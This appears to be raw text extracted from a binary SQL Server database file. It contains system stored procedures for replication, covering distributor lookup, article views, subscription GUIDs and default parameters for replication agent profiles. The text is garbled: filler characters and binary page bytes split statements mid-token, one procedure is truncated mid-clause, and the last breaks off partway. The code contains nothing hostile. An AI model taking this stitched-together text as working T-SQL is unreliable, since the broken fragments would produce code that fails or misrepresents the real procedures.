!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!	`E<;Fҏ+0;$ 8CREATE PROCEDURE sys.sp_get_distributor 
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @retcode 					tinyint,
    		@has_access 				bit,
			@proc						nvarchar(4000),
			@cmd						nvarchar(4000),
			@database					sysname,
			@is_distdb					bit,
			@distributor 				sysname,
    		@installed 					bit,
    		@distdb_installed 			bit,
    		@is_distpublisher 			bit,
    		@has_remote_distpublisher 	bit
    
	SELECT @has_access					= 0,
			@proc						= NULL,
			@cmd						= NULL,
			@database					= NULL,
			@distributor 				= NULL,
    		@installed 					= 0,
    		@distdb_installed 			= 0,
    		@is_distpublisher 			= 0,
    		@has_remote_distpublisher 	= 0
	
	-- sysadmin can view any information
	IF IS_SRVROLEMEMBER('sysadmin') = 1
		SELECT @has_access = 1
	
	-- In this section, if we don't have access yet, we will go 
	-- through all publisher and distribution databases and check
	-- what permissions a user has to determine if they have access
	IF @has_access = 0
	BEGIN
		DECLARE #curDbs CURSOR LOCAL FAST_FORWARD FOR
			SELECT sys.fn_MSrepl_isdistdb(name),
					name
				FROM master..sysdatabases
				WHERE HAS_DBACCESS(name) = 1
					AND name NOT IN ( N'master' COLLATE DATABASE_DEFAULT,
										N'tempdb' COLLATE DATABASE_DEFAULT,
										N'msdb'   COLLATE DATABASE_DEFAULT,
										N'model'   COLLATE DATABASE_DEFAULT)
					AND (sys.fn_MSrepl_ispublished(name) = 1
						OR sys.fn_MSrepl_isdistdb(name) = 1)
		OPEN #curDbs

		FETCH #curDbs INTO @is_distdb, @database
		
		WHILE (@@FETCH_STATUS = 0)
		BEGIN
			IF @is_distdb = 1
			BEGIN
				-- DISTRIBUTION DATABASES
				--
				-- Check if the user is DBO of Distribution DB or in ReplMonitor 
				-- or PAL in hetero. If so we will grant them access to the info
				SELECT @proc = QUOTENAME(@database) + '.sys.sp_executesql',
						@cmd = N'IF IS_MEMBER(N''db_owner'') = 1 OR ISNULL(IS_MEMBER(N''replmonitor''), 0) = 1 OR sys.fn_isrolemember(0, SUSER_SNAME(), NULL) = 1 BEGIN SELECT @has_access = 1 END ELSE BEGIN SELECT @has_access = 0 END'

				EXEC @retcode = @proc @cmd,
										N'@has_access bit output',
										@has_access output
				IF @@ERROR != 0 OR @retcode != 0
					GOTO FAILURE
			END
			ELSE
			BEGIN
				-- PUBLISHER DATABASES
				--
				-- Check if the user is DBO or PAL of MERGE or TRAN (no hetero)
				-- Published database. If so we will grant them access to the info
				SELECT @proc = QUOTENAME(@database) + '.sys.sp_executesql',
						@cmd = N'IF IS_MEMBER(N''db_owner'') = 1 OR sys.fn_isrolemember(0, SUSER_SNAME(), NULL) = 1 BEGIN SELECT @has_access = 1 END ELSE BEGIN SELECT @has_access = 0 END'

				EXEC @retcode = @proc @cmd,
										N'@has_access bit output',
										@has_access output
				IF @@ERROR != 0 OR @retcode != 0
					GOTO FAILURE
			END

			IF @has_access = 1
				BREAK

			FETCH #curDbs INTO @is_distdb, @database
		END

		CLOSE #curDbs
		DEALLOCATE #curDbs
	END

	-- if the user has access then we will retrieve
	-- the information... if not then we return NULLs
	IF @has_access = 1
	BEGIN
		SELECT @distributor = datasource 
    		FROM master.dbo.sysservers
			WHERE srvstatus & 8 <> 0

		IF @distributor IS NOT NULL
    		SELECT @installed = 1

		IF UPPER(@distributor) = UPPER(@@SERVERNAME)
		BEGIN
			IF EXISTS (SELECT * FROM msdb.dbo.MSdistributiondbs) 
				SELECT @distdb_installed = 1
			
			IF EXISTS (SELECT * FROM msdb..MSdistpublishers WHERE UPPER(name) = UPPER(@@SERVERNAME) COLLATE database_default)
				SELECT @is_distpublisher = 1
			
			IF EXISTS (SELECT * FROM msdb..MSdistpublishers WHERE UPPER(name) <> UPPER(@@SERVERNAME) COLLATE database_default)
				SELECT @has_remote_distpublisher = 1
		END
	END

    SELECT 'installed'							= @installed, 
			'distribution server'				= @distributor,
            'distribution db installed'			= @distdb_installed,
            'is distribution publisher'			= @is_distpublisher,
            'has remote distribution publisher' = @has_remote_distpublisher

	RETURN 0
FAILURE:
	RETURN 1
END
0=@ 	8CREATE PROCEDURE sys.sp_articleview
(
    @publication                sysname,                /* Publication name */
    @article                    sysname,                /* Article name */
    @view_name                    nvarchar (386) = NULL,    /* View name */
    @filter_clause                ntext = NULL,            /* Article's filter clause */
    @change_active                int = 0,
    @force_invalidate_snapshot    bit = 0,                /* Force invalidate existing snapshot */
    @force_reinit_subscription    bit = 0,                /* Force reinit subscription */
    @publisher                    sysname = NULL,
    @refreshsynctranprocs         bit = 1,    -- 1 = regenerate synctran procedures inside this SP for filter change
    @internal                     bit = 0
)
AS
BEGIN
    set nocount on
    DECLARE @cmd            nvarchar(4000)
                ,@retcode        int
                ,@publisher_type    sysname

    if (@publisher is NULL)
    begin
        EXEC @retcode = sys.sp_MSrepl_articleview
                    @publication,
                    @article,
                    @view_name,
                    @filter_clause,
                    @change_active,
                    @force_invalidate_snapshot,
                    @force_reinit_subscription,
                    @refreshsynctranprocs,
                    @internal
    end
    else
    begin
        -- Heterogeneous articles are handled directly by sp_IHarticleview
        EXEC @retcode = sys.sp_MSrepl_getpublisherinfo   @publisher        = @publisher,
                                                                            @publisher_type    = @publisher_type OUTPUT,
                                                                            @rpcheader        = @cmd OUTPUT
        IF @retcode <> 0
            RETURN (@retcode)
            
        SET @publisher = UPPER(@publisher)
        
        set @cmd = @cmd + N'dbo.sp_IHarticleview '
        EXEC @retcode = @cmd
                    @publication,
                    @article,
                    @view_name,
                    @filter_clause,
                    @change_active,
                    @force_invalidate_snapshot,
                    @force_reinit_subscription,
                    @publisher,
                    @publisher_type
    end    

    RETURN (@retcode)
END
0$ C8CREATE PROCEDURE sys.sp_MSget_subscription_guid 
(
    @agent_id int 
)
as
begin
	set nocount on

	-- You need to make change to sp_MShelp_distribution_agentid when changing
	-- this.	
	-- Get subscription_guid
	select a1.subscription_guid
	from MSdistribution_agents a1
	where
	-- for non anonymous agents
	((a1.virtual_agent_id is null and a1.id = @agent_id) or
	(   -- for anonymous agents
		a1.id = (select virtual_agent_id from MSdistribution_agents a2 where
			a2.id = @agent_id)) -- virtual account
	) 
end            
0J@ D8|!h-!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}\`<*GJz50xc t8
create procedure sys.sp_catalogs_rowset
(
    @catalog_name       sysname
)
as
    select
        CATALOG_NAME    = name,
        DESCRIPTION     = convert(nvarchar(1),null)
    from
        sys.databases
    where
        name = @catalog_name and (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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(H&
vt1
create procedure sys.sp_generate_agent_parameter(
    @profile_id     int,        -- Fixed profile id used
    @real_profile_id int = NULL -- Used by version upgrade 
)
as
    declare @retcode    int

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    -- If real profile id is not passed in. Use the fix profile id.
    if @real_profile_id is NULL
        select @real_profile_id = @profile_id

    /* 
    ** Snapshot agent 
    */
    if (@profile_id = 1)
    begin
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '100000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '1800'        -- 30 minutes 
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

    end
    /* 
    ** Logreader agent 
    */
    else if (@profile_id = 2)
        begin
  
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '1800'        -- 30 minutes
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ReadBatchSize',
                @parameter_value = '500'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LogScanThreshold',
                @parameter_value = '500000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        end

    /* 
    ** Logreader agent - Verbose History Profile
    */
    else if (@profile_id = 3)
        begin

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '1800'        -- 30 minutes
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ReadBatchSize',
                @parameter_value = '500'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LogScanThreshold',
                @parameter_value = '500000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
        end

    /* 
    ** Distribution agent 
    */
    else if (@profile_id = 4)
      begin

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '2147473647' -- Max 32bit signed integer - 10000
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-CommitBatchSize',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-CommitBatchThreshold',
                @parameter_value = '1000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDeliveredTransactions',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '1800'        -- 30 minutes 
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-TransactionsPerHistory',
                @parameter_value = '100'
        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(I&	vt1if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SkipErrors',
                @parameter_value = ''
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        end

    /*
    ** Distribution Agent Verbose History Profile
    */
    else if (@profile_id = 5)
    begin

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '2147473647'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-CommitBatchSize',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-CommitBatchThreshold',
                @parameter_value = '1000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDeliveredTransactions',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '1800'        -- 30 minutes 
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-TransactionsPerHistory',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SkipErrors',
                @parameter_value = ''
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

    end
    /* 
    ** Merge agent : Default profile for well connected scenarios 
    */
    else if (@profile_id = 6)
        begin
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-StartQueueTimeout',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDownloadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxUploadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ValidateInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '300'        
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadGenerationsPerBatch',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadGenerationsPerBatch',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-Validate',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
     !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(J& `hvt1           @profile_id = @real_profile_id,
                @parameter_name = '-FastRowCount',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
        
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ChangesPerHistory',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '100000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-NumDeadlockRetries',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SrcThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DestThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-MetadataRetentionCleanup',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MakeGenerationInterval',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
            
    end

    /* 
    ** Merge agent : Non default profile for disconnected scenarios ( unreliable link ) 
    */
    else if (@profile_id = 7)
        begin

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-StartQueueTimeout',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDownloadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxUploadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
            
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ValidateInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadGenerationsPerBatch',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadGenerationsPerBatch',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-Validate',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
        
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-FastRowCount',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ChangesPerHistory',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '100000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(K&"\)5vt1retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-NumDeadlockRetries',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

